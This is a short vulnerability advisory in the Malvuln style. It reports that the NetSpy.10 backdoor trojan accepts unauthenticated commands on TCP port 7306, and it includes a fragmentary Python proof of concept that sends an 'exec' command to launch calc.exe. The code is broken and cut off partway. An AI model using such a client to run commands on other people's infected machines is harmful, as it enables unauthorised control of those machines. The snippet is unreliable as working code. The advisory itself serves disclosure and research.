Backdoor.Win32.NetSpy.10 Remote Command Execution

Backdoor.Win32.NetSpy.10 malware suffers from a remote command execution vulnerability.

MD5 | 4776d45b8232e4e619f61e67c7c4c3a7

Discovery / credits: Malvuln - (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.NetSpy.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7306. Attackers who can reach infected hosts can run commands made available by the backdoor. Sending commands using Ncat and Telnet both fail with errors, probably don't like the linefeed chars, so need to write your own custom client. Example commands avail are put, mkd, exec and msg.
Family: NetSpy
Type: PE32
MD5: 45d413b46f1d14a45e8fd36921813d62
Vuln ID: MVID-2022-0551
Disclosure: 04/14/2022

from socket import *
import time

CMD="exec c:\\Windows\\system32\\calc.exe"

def chk_res(s):
while True:
res += s.recv(512)
if "\0" in res or "\n" in res or res == "":
return res

def doit():
s.connect((MALWARE_HOST, PORT))

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Related Posts